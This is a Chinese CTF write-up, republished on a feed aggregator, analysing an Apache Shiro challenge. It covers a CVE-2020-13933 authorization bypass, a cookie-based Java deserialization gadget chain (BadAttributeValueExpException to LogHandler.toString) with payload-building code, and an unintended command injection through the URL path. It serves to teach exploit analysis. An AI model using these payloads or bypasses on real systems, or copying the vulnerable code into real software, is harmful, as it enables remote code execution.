惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园 - 司徒正美
Google DeepMind News
Google DeepMind News
P
Palo Alto Networks Blog
SecWiki News
SecWiki News
S
Secure Thoughts
P
Privacy International News Feed
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
T
Tenable Blog
W
WeLiveSecurity
Application and Cybersecurity Blog
Application and Cybersecurity Blog
A
Arctic Wolf
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Spread Privacy
Spread Privacy
V2EX - 技术
V2EX - 技术
Project Zero
Project Zero
C
CERT Recently Published Vulnerability Notes
Security Archives - TechRepublic
Security Archives - TechRepublic
Hacker News: Ask HN
Hacker News: Ask HN
Cyberwarzone
Cyberwarzone
Hacker News - Newest:
Hacker News - Newest: "LLM"
S
Schneier on Security
L
Lohrmann on Cybersecurity
阮一峰的网络日志
阮一峰的网络日志
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Scott Helme
Scott Helme
H
Hacker News: Front Page
博客园 - Franky
月光博客
月光博客
D
DataBreaches.Net
Know Your Adversary
Know Your Adversary
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
O
OpenAI News
N
Netflix TechBlog - Medium
G
GRAHAM CLULEY
Engineering at Meta
Engineering at Meta
博客园 - 叶小钗
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
B
Blog
人人都是产品经理
人人都是产品经理
I
Intezer
酷 壳 – CoolShell
酷 壳 – CoolShell
云风的 BLOG
云风的 BLOG
IT之家
IT之家
V
Vulnerabilities – Threatpost
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
L
LangChain Blog
Google Online Security Blog
Google Online Security Blog
博客园 - 聂微东
Hugging Face - Blog
Hugging Face - Blog
雷峰网
雷峰网

SumSec's Blog

AI Agent 工程的必然演进:CLI、Skills、Harne… 从安全角度谈Java反射机制--前章 · SUMSEC 从安全角度谈Java反射机制--终章 · SUMSEC 逆向学习fastjson反序列化始 · SUMSEC 2020年研究回顾总结 · SUMSEC Abstract syntax tree classes for … Analyzing data flow in Java · SUM… Annotations in Java · SUMSEC Basic query for Java code · SUMSEC BypassSuper使用介绍说明 · SUMSEC CodeQL Create OpenJdk/Jdk8 Databa… CodeQL library for Java · SUMSEC Navigating the call graph · SUMSEC Overflow-prone comparisons in Jav… Types in Java · SUMSEC Working with source locations · S… Aliases · SUMSEC Expression · SUMSEC Formulas · SUMSEC Javadoc · SUMSEC Modules · SUMSEC Predicates · SUMSEC Queries · SUMSEC Type · SUMSEC Variables · SUMSEC 修改ysoserial使其支持任意代码执行 · SUMSEC 自定义 ClassLoader 隔离运行不同版本jar包的方式 ·… 2020网鼎杯---Java文件上传wp · SUMSEC CNVD-2020-10487(CVE-2020-1938)tom… JDSRC安全课笔记 · SUMSEC Java反序列化链回显解决方案 · SUMSEC Skipped breakpoint because it hap… Windows Terminal 配置文件 · SUMSEC bypass 学习笔记之绕安全狗bypass safedog · … 一次意外的代码审计----JfinalCMS审计 · SUMSEC 一篇文章读懂Java代码审计之XXE · SUMSEC 从安全角度谈Java反射机制--序章 · SUMSEC 小楼昨夜又春风,你知ysoserial-Gadget-URLDNS… 春眠不觉晓,RCE知多少? · SUMSEC 漫谈Commons-Collections反序列化 · SUMSEC 漫谈Java反序列化 · SUMSEC 白头搔更短,SSTI惹人心! · SUMSEC 记一次面试题 · SUMSEC About Me 关于我 · SUMSEC Apache Flink任意Jar包上传导致远程代码执行 · SU… CVE-2019-1388 UAC提权复现 · SUMSEC CVE-2019-16097 || Harbor任意管理员注册漏洞… Python加密shellcode免杀 · SUMSEC Telegram机器人作为渗透测试框架 · SUMSEC VM虚拟机无法安装vmtools解决|本程序需要您将此虚拟机上安装… 谁能想到,电视遥控器竟成了 Vibe Coding 神器 · SU… 从手改 Skill 到自动进化:评测结果和执行轨迹如何让 Agen… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的SKIL… 模型人人都能用,什么才是你能带走的?我的答案是一个可进化的Skil… AI 时代 ShiroAttack2 5.x:修改了什么 · SU… 在 AGI 降临前,先给 AI 开一条”脑内弹幕”通道 · SUM… 一篇博文,三种时间:网页幻灯与 Remotion 动效的交付逻辑 … 🔍 别让大模型”想太多”:SKILL开发中的语义陷阱与抗幻觉设计 … 2022 年年度总结 · SUMSEC Java Swing To RCE 漏洞分析 · SUMSEC SpringBoot GatewayEL表达式漏洞分析 · SUM… Sensitive keys in codebases · SUM… 论如何优雅注入 Java 内存马 · SUMSEC SUMSEC 知识点 · SUMSEC VMWare Workspace ONE Access Auth … Spring Framework RCE CVE-2022-229… 相似度算法调研 · SUMSEC CVE-2022-33891 Apache Spark shell… 正则匹配配置不当 · SUMSEC Spring Data MongoDB SpEL CVE-2022… CodeQl Usage Tricks · SUMSEC Spring Boot RCE到内存马探索 · SUMSEC Shiro后渗透拓展面 · SUMSEC shiro反序列化漏洞攻击拓展面–修改key · SUMSEC GitHub Java CodeQL CTF · SUMSEC Hack-Tools 转化成Web · SUMSEC CodeQL与Shiro550碰撞 · SUMSEC CodeQL初见Shiro550 · SUMSEC CodeQL与AST之间联系 · SUMSEC Java加载动态链接库 · SUMSEC Log4j2 漏洞分析 · SUMSEC Interprocedural-Analysis 过程间分析 · … Data Analysis Foundation 数据分析基础 ·… Data Flow Analysis · SUMSEC Intermediate Representation 中间代表(… PII泄露–用CodeQL识别日志中的PII数据 · SUMSEC CodeQL workshop for Java: Unsafe … 前言 · SUMSEC 漏洞环境的搭建 · SUMSEC Fastjson回显 · SUMSEC Tomcat通用回显学习笔记 · SUMSEC 从Java反序列化漏洞题看CodeQL数据流 · SUMSEC 概述 · SUMSEC 记一次Log4j失败的Gadget挖掘记录 · SUMSEC Ysoserial改造记录 · SUMSEC JNDI注入 · SUMSEC shiro JRMP gadget · SUMSEC Fastjson MySQL gadget复现 · SUMSEC 2021年度总结 · SUMSEC
一道shiro反序列化题目引发的思考 · SUMSEC
2026-07-17 · via SumSec's Blog

一道shiro反序列化题目引发的思考

前言

文章首发:https://www.anquanke.com/post/id/231488

   这是某银行的内部的一个CTF比赛,受邀参加。题目三个关键词权限绕过shiro反序列化,题目源码已经被修改,但考察本质没有,题目源码会上传到JavaLearnVulnerability


黑盒测试

  • xray测试shiro的key
  • dirsearch跑目录
  • sqlmap测试登陆框是否存在sql注入

白盒代码审计

源码初步分析

  • 版本 shiro == 1.5.3(不存在remember反序列化漏洞,但存在CVE-2020-13933权限绕过漏洞)
    在这里插入图片描述

  • shiro验证通过Realm的方式判断用户是否合法,此处重写doGetAuthorizationInfo方法,账户名admin(可能有用)。
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        String username = (String)authenticationToken.getPrincipal();
        if (!"admin".equals(username)) {
            throw new UnknownAccountException("unkown user");
        } else {
            return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
        }
    }

  • 访问控制权限,可能看到indexdologin存在访问权限。
    * anon:匿名用户可访问
    * authc:认证用户可访问
    * user:使用rememberMe可访问
    * perms:对应权限可访问
    * role:对应角色权限可访问
    
@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
    ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
    bean.setSecurityManager(this.securityManager());
    bean.setLoginUrl("/login");
    Map<String, String> map = new LinkedHashMap();
    map.put("/doLogin", "anon");
    map.put("/index/*", "authc");
    bean.setFilterChainDefinitionMap(map);
    return bean;
}

  • SQL注入?第一眼反应感觉可能存在注入漏洞或者是XSS但又想到是CTF比赛,应该是不会考察XSS,所以觉得是SQL注入漏洞,然后用SQLMAP尝试一波注入绕过后,没有发现SQL注入漏洞。
@Override
    public String filter(String param) {
        String[] keyWord = new String[]{"'", "\"", "select", "union", "/;", "/%3b"};
        String[] var3 = keyWord;
        int var4 = keyWord.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String i = var3[var5];
            param = param.replaceAll(i, "");
        }

        return param;
    }

  • 远程命令执行?翻遍代码发现调用exeCmd方法只有LogHandler
public static String exeCmd(String commandStr) {
        BufferedReader br = null;
        String OS = System.getProperty("os.name").toLowerCase();

        try {
            Process p = null;
            if (OS.startsWith("win")){
                p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
            }else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
            }

            br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line = null;
            StringBuilder sb = new StringBuilder();

            while((line = br.readLine()) != null) {
                sb.append(line + "\n");
            }

            return sb.toString();
        } catch (Exception var5) {
            var5.printStackTrace();
            return "error";
        }
    }

灰盒测试

  • 根据获取的账号admin尝试爆破(无果)
  • sql注入再次尝试根据前面过滤掉参数进行bypass(无果),后期发现根本没有数据库链接操作,不可能存在sql注入。
  • 根据获取的shiro版本可知,没有shiro反序列化漏洞但有权限绕过(成功)。

   目前为止只能根据页面知道,该页面是一个访问日志展示页面。
在这里插入图片描述


源码深度刨析

深度分析

   Javaweb题目当然还是得从web页面分析,看源码分析一共就两个类访问控制器是处理web请求的。

  • IndexController处理登录前后页面
  • LoginController处理登录请求页面
       前面分析到没有数据库,在源码也没发现登录的账号和密码故不用考虑 LoginController类,深度分析IndexController类发现该类存在反序列化操作。
@GetMapping({"/index/{name}"})
    public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
        Cookie[] cookies = request.getCookies();
        boolean exist = false;
        Cookie cookie = null;
        User user = null;
        if (cookies != null) {
            Cookie[] var8 = cookies;
            int var9 = cookies.length;

            for(int var10 = 0; var10 < var9; ++var10) {
                Cookie c = var8[var10];
                //判断cookie中是否存在hacker字段
                if (c.getName().equals("hacker")) {
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }
        
		// 存在hacker字段,执行反序列化操作
		// 
        if (exist) {

            byte[] bytes = Tools.base64Decode(cookie.getValue());
            //反序列化操作点
            user = (User)Tools.deserialize(bytes);

        } else {
        // 没有hacker字段,添加一个并设置其值
            user = new User();
            user.setID(1);
            user.setUserName(name);
            cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
            response.addCookie(cookie);
        }
		// 添加值到前端页面
        request.setAttribute("hacker", user);
        request.setAttribute("logs", new LogHandler());
        return "index";
    }
  • 前端源码
    在这里插入图片描述
  • 存在反序列化点,下一步肯定构造反序列化请求,但如何构造反序列化请求呢?前文提及到调用exeCmd方法只有LogHandler类。分析该类,两个方法都调用exeCmd执行命令。invoke方法里面调用的exeCmd是执行wirteLog命令,而toString方法里面调用exeCmd是执行readLog命令。
public class LogHandler extends HashSet implements InvocationHandler {

    private Object target;
    private String readLog = "tail  accessLog.txt";
    private String writeLog = "echo /test >> accessLog.txt";

    public LogHandler() {
    }

    public LogHandler(Object target) {
        this.target = target;
    }
		
    @Override
    // 请求url路径写入访问日志
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

    @Override
    // 读取日志返回结果
    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}

小结

总结下目前为止所有的信息点:

  1. 存在权限绕过,URL:index/%3b/admin(/%3b可以是/'/, select, union, /;之一)
  2. 存在反序列化点IndexController#index,构造请求cookie一定要有hacker字段。
  3. index/admin是访问日志
  4. 反序列化执行的点在LogHandler其中的两个方法

Payload构造

下面两端代码分别是通过反射调用invoketoString方法达到执行命令目的,对比一下很明显toString方法更加的简单质朴。

public void invoke() throws Throwable {
    LogHandler logHandler = new LogHandler();
    Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");
    wirtelog.setAccessible(true);
    wirtelog.set(logHandler, "calc");
    Object ob = new Object();
    Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);
    Object[] obs = new Object[]{"asd","asd"};
    logHandler.invoke(ob,method,obs);
}

在这里插入图片描述

public void ToString() throws NoSuchFieldException, IllegalAccessException {
        LogHandler logHandler = new LogHandler();
        Field readlog = logHandler.getClass().getDeclaredField("readLog");
        readlog.setAccessible(true);
        readlog.set(logHandler, "calc");
        logHandler.toString();

    }

在这里插入图片描述


   反序列化点get!反序列化目标get!最后一步构造反序列化链!现在缺少一个封装类将构造好的类封装发给服务器直接反序列化,ysoserial其中的CC5中使用的BadAttributeValueExpException异常类满足要求。最终Payload如下:


public static void Calc() throws Throwable {
    LogHandler logHandler = new LogHandler();
    Field readlog = logHandler.getClass().getDeclaredField("readLog");
    readlog.setAccessible(true);
    readlog.set(logHandler, "calc");
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, logHandler);
    String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
    System.out.println("Cookie: " + "hacker="+ datas);

}

在这里插入图片描述


非预期–执行命令

效果如下:访问/index/admin&&calc会执行命令

在这里插入图片描述

原因分析

   根本原因在下面这一段,作者没有考虑到用户会使用管道来执行命令,直接将url路径直接就写访问日志中,导致执行命令。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

知识补充

   写到这,其实是对shiro一些知识的补充。前期对shiro了解较少,后期做了大量知识补充。官方给的是jar包,反编译之后改成自己的踩了 一些坑。顺便记录一下,只想看题目分析的可以Pass。

  1. 下面是自己不仔细导致错误,其实都知道,但是忘记了

    • User没有实现Serializable接口导致报错,不能反序列化
    • User类没有serialVersionUID导致报错,版本不一致
  2. Tools类没有判断操作系统的版本,导致执行命令不成功
    在这里插入图片描述
  3. tail命令在windows系统是没有的,导致无法生成acessLog.txt文件
  4. tail加了-f参数导致服务器一直读取文件,导致长时间不回显
  5. 注释掉MyFilterComponent就是shiro原本的CVE-2020-13933漏洞
    在这里插入图片描述
  6. 学习了b站关于shiro内容【狂神说Java】SpringBoot整合Shiro框架

总结

*              Gadget:
*                  Tools.base64Decode()
*                      Tools.deserialize()
*                          ObjectInputStream.readObject()
*                              BadAttributeValueExpException.readObject()
*                                  LogHandler.toSting()
*                                      Tools.exeCmd()

   当时写这个题目的时候已经无限接近答案了,只是当时不确定怎么封装类。不得不说CC链还是不熟悉,没有完全吃透,不得不说CC永远的神!


参考

https://github.com/SummerSec/JavaLearnVulnerability
https://www.bilibili.com/video/BV1NE411i7S8